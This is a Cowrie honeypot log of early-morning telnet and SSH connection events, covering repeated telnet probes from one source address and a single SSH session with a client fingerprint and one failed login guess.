{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37696,"dst_ip":"10.17.0.5","dst_port":23,"session":"bae5f771c795","protocol":"telnet","message":"New connection: 206.189.32.23:37696 (10.17.0.5:23) [session: bae5f771c795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:50.040900Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48832,"dst_ip":"159.203.135.109","dst_port":23,"session":"f76e4a90e05f","protocol":"telnet","message":"New connection: 162.55.233.176:48832 (159.203.135.109:23) [session: f76e4a90e05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:50.112732Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48834,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a4cf8742791","protocol":"telnet","message":"New connection: 162.55.233.176:48834 (159.203.135.109:23) [session: 9a4cf8742791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:50.278097Z"}
{"eventid":"cowrie.session.closed","duration":30.960674047470093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:50.346231Z","src_ip":"162.55.233.176","session":"d7860e7922d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48846,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f749fd8f0e8","protocol":"telnet","message":"New connection: 162.55.233.176:48846 (159.203.135.109:23) [session: 8f749fd8f0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:50.516986Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":29135,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad93259603ca","protocol":"ssh","message":"New connection: 38.137.11.14:29135 (10.17.0.5:22) [session: ad93259603ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:50.553360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:50.557353Z","src_ip":"38.137.11.14","session":"ad93259603ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48860,"dst_ip":"159.203.135.109","dst_port":23,"session":"da6e132c2c12","protocol":"telnet","message":"New connection: 162.55.233.176:48860 (159.203.135.109:23) [session: da6e132c2c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:50.766939Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:50.774674Z","src_ip":"38.137.11.14","session":"ad93259603ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48870,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ecb1ca56bc6","protocol":"telnet","message":"New connection: 162.55.233.176:48870 (159.203.135.109:23) [session: 0ecb1ca56bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:50.858912Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48874,"dst_ip":"159.203.135.109","dst_port":23,"session":"49475f2be98c","protocol":"telnet","message":"New connection: 162.55.233.176:48874 (159.203.135.109:23) [session: 49475f2be98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:50.874581Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48878,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fd210d25ec5","protocol":"telnet","message":"New connection: 162.55.233.176:48878 (159.203.135.109:23) [session: 7fd210d25ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:51.011977Z"}
{"eventid":"cowrie.session.closed","duration":30.772221326828003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:51.079114Z","src_ip":"162.55.233.176","session":"0bdced3f6110","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.22222423553467,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:51.109957Z","src_ip":"162.55.233.176","session":"454ebd5cfce5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.261791944503784,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:51.410017Z","src_ip":"188.208.141.113","session":"839c2aa77988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20509314537048,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:51.490319Z","src_ip":"162.55.233.176","session":"d8b39815da35","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ali","password":"alipass","message":"login attempt [ali/alipass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:51.677631Z","src_ip":"38.137.11.14","session":"ad93259603ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48888,"dst_ip":"159.203.135.109","dst_port":23,"session":"94081317590d","protocol":"telnet","message":"New connection: 162.55.233.176:48888 (159.203.135.109:23) [session: 94081317590d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:52.300666Z"}
{"eventid":"cowrie.session.closed","duration":31.075248956680298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:52.594561Z","src_ip":"162.55.233.176","session":"35d0061651aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48898,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7f3041af676","protocol":"telnet","message":"New connection: 162.55.233.176:48898 (159.203.135.109:23) [session: c7f3041af676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:52.824832Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:52.899048Z","src_ip":"38.137.11.14","session":"ad93259603ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.77227282524109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:52.973667Z","src_ip":"162.55.233.176","session":"4adee9a7ca52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.906107902526855,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:52.998916Z","src_ip":"162.55.233.176","session":"99c2ce6c588b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21152448654175,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:53.052838Z","src_ip":"162.55.233.176","session":"ce330a00261b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41914,"dst_ip":"159.203.135.109","dst_port":23,"session":"fab66dd684a6","protocol":"telnet","message":"New connection: 162.55.233.176:41914 (159.203.135.109:23) [session: fab66dd684a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:53.396175Z"}
{"eventid":"cowrie.session.closed","duration":32.21495723724365,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:53.411297Z","src_ip":"162.55.233.176","session":"87e996362aff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.328670501708984,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:53.539724Z","src_ip":"162.55.233.176","session":"853129610bda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.39392018318176,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:53.613693Z","src_ip":"162.55.233.176","session":"a953957a5918","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41918,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f358b8f95c","protocol":"telnet","message":"New connection: 162.55.233.176:41918 (159.203.135.109:23) [session: 25f358b8f95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:54.389673Z"}
{"eventid":"cowrie.session.closed","duration":32.496423959732056,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:54.428644Z","src_ip":"162.55.233.176","session":"b8769a0392b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.490415811538696,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:54.717243Z","src_ip":"162.55.233.176","session":"ecfe3cc28c66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41926,"dst_ip":"159.203.135.109","dst_port":23,"session":"a244a982b246","protocol":"telnet","message":"New connection: 162.55.233.176:41926 (159.203.135.109:23) [session: a244a982b246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:54.814341Z"}
{"eventid":"cowrie.session.closed","duration":30.99916648864746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:55.203364Z","src_ip":"162.55.233.176","session":"99613a40c249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837605476379395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:55.258901Z","src_ip":"162.55.233.176","session":"830c8c051e26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.77427434921265,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:55.863696Z","src_ip":"162.55.233.176","session":"0d7d65385a0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.12052345275879,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:55.888983Z","src_ip":"162.55.233.176","session":"a44099b36340","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.113495111465454,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:56.006036Z","src_ip":"162.55.233.176","session":"35ddb3680749","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41930,"dst_ip":"159.203.135.109","dst_port":23,"session":"8736a624af19","protocol":"telnet","message":"New connection: 162.55.233.176:41930 (159.203.135.109:23) [session: 8736a624af19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:56.119340Z"}
{"eventid":"cowrie.session.closed","duration":32.065305948257446,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:56.171986Z","src_ip":"162.55.233.176","session":"7a9242eb6bab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.85821604728699,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:56.985908Z","src_ip":"162.55.233.176","session":"5c4bec469d72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.711708784103394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:57.207748Z","src_ip":"162.55.233.176","session":"9dc6b71412f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.841392278671265,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:57.356580Z","src_ip":"162.55.233.176","session":"c5cfedafaf99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.370935916900635,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:57.395944Z","src_ip":"162.55.233.176","session":"956243dcc44f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.63962650299072,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:57.491109Z","src_ip":"162.55.233.176","session":"591c2fa219e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41944,"dst_ip":"159.203.135.109","dst_port":23,"session":"4444f47906ec","protocol":"telnet","message":"New connection: 162.55.233.176:41944 (159.203.135.109:23) [session: 4444f47906ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:57.526261Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41960,"dst_ip":"159.203.135.109","dst_port":23,"session":"f47177dd9538","protocol":"telnet","message":"New connection: 162.55.233.176:41960 (159.203.135.109:23) [session: f47177dd9538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:57.611387Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41962,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3a51310a6d5","protocol":"telnet","message":"New connection: 162.55.233.176:41962 (159.203.135.109:23) [session: b3a51310a6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:57.932291Z"}
{"eventid":"cowrie.session.closed","duration":32.753135204315186,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:58.592685Z","src_ip":"162.55.233.176","session":"111bcb0b0bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41974,"dst_ip":"159.203.135.109","dst_port":23,"session":"1158669574bb","protocol":"telnet","message":"New connection: 162.55.233.176:41974 (159.203.135.109:23) [session: 1158669574bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:59.018015Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41986,"dst_ip":"159.203.135.109","dst_port":23,"session":"566e769f960d","protocol":"telnet","message":"New connection: 162.55.233.176:41986 (159.203.135.109:23) [session: 566e769f960d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:59.148876Z"}
{"eventid":"cowrie.session.closed","duration":36.52797532081604,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:59.342290Z","src_ip":"162.55.233.176","session":"c5de21f2fbb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41992,"dst_ip":"159.203.135.109","dst_port":23,"session":"78fbaeb6ffa6","protocol":"telnet","message":"New connection: 162.55.233.176:41992 (159.203.135.109:23) [session: 78fbaeb6ffa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:59.419700Z"}
{"eventid":"cowrie.session.closed","duration":34.25880837440491,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:59.626288Z","src_ip":"162.55.233.176","session":"cd3ff9fa05cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42002,"dst_ip":"159.203.135.109","dst_port":23,"session":"676b66f2f45d","protocol":"telnet","message":"New connection: 162.55.233.176:42002 (159.203.135.109:23) [session: 676b66f2f45d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:59.784072Z"}
{"eventid":"cowrie.session.closed","duration":34.68759369850159,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:59.890292Z","src_ip":"162.55.233.176","session":"dd6f3a1218d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.438005447387695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:59.894954Z","src_ip":"162.55.233.176","session":"55201daaaec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108303785324097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:00.012811Z","src_ip":"162.55.233.176","session":"05ca17fae916","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38430,"dst_ip":"10.17.0.5","dst_port":23,"session":"556f55fabdfb","protocol":"telnet","message":"New connection: 188.208.141.113:38430 (10.17.0.5:23) [session: 556f55fabdfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:00.122220Z"}
{"eventid":"cowrie.session.closed","duration":30.699655294418335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:00.168760Z","src_ip":"162.55.233.176","session":"303cbe93711f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42006,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bb934c168a9","protocol":"telnet","message":"New connection: 162.55.233.176:42006 (159.203.135.109:23) [session: 5bb934c168a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:00.656737Z"}
{"eventid":"cowrie.session.closed","duration":31.922946453094482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:00.823502Z","src_ip":"162.55.233.176","session":"c98a76bdb0f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42008,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d98a87a6cb6","protocol":"telnet","message":"New connection: 162.55.233.176:42008 (159.203.135.109:23) [session: 8d98a87a6cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:01.124773Z"}
{"eventid":"cowrie.session.closed","duration":32.87675213813782,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:01.926446Z","src_ip":"162.55.233.176","session":"304c5568ed04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42010,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a19595df488","protocol":"telnet","message":"New connection: 162.55.233.176:42010 (159.203.135.109:23) [session: 6a19595df488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:02.140258Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42012,"dst_ip":"159.203.135.109","dst_port":23,"session":"30eec0bbf123","protocol":"telnet","message":"New connection: 162.55.233.176:42012 (159.203.135.109:23) [session: 30eec0bbf123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:02.224927Z"}
{"eventid":"cowrie.session.closed","duration":34.68566608428955,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:02.486471Z","src_ip":"162.55.233.176","session":"c954019d0eb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42016,"dst_ip":"159.203.135.109","dst_port":23,"session":"394b35bea6d1","protocol":"telnet","message":"New connection: 162.55.233.176:42016 (159.203.135.109:23) [session: 394b35bea6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:02.534438Z"}
{"eventid":"cowrie.session.closed","duration":33.3412127494812,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:02.886469Z","src_ip":"162.55.233.176","session":"bd68f367bcb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.956568479537964,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:02.999489Z","src_ip":"162.55.233.176","session":"581b381c1690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55866,"dst_ip":"159.203.135.109","dst_port":23,"session":"14075aad3050","protocol":"telnet","message":"New connection: 162.55.233.176:55866 (159.203.135.109:23) [session: 14075aad3050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:03.385912Z"}
{"eventid":"cowrie.session.closed","duration":30.893531322479248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:03.393269Z","src_ip":"162.55.233.176","session":"b7a39c8b8b03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969505071640015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:03.402163Z","src_ip":"162.55.233.176","session":"730705cc10b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.93160104751587,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:03.438359Z","src_ip":"162.55.233.176","session":"81fd3a2ad805","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55882,"dst_ip":"159.203.135.109","dst_port":23,"session":"586956529a3a","protocol":"telnet","message":"New connection: 162.55.233.176:55882 (159.203.135.109:23) [session: 586956529a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:03.521397Z"}
{"eventid":"cowrie.session.closed","duration":31.42696976661682,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:03.572619Z","src_ip":"162.55.233.176","session":"273c6c034424","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90075182914734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:03.610285Z","src_ip":"162.55.233.176","session":"eda3c3cf6d33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.663636684417725,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:03.788035Z","src_ip":"162.55.233.176","session":"a14f9ef17bcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.96585416793823,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:03.856504Z","src_ip":"162.55.233.176","session":"a00dba56a0e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.36013603210449,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:04.457157Z","src_ip":"162.55.233.176","session":"8b0bfbf7f3bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.687987089157104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:04.643346Z","src_ip":"162.55.233.176","session":"26e0185cb5ca","protocol":"telnet"}
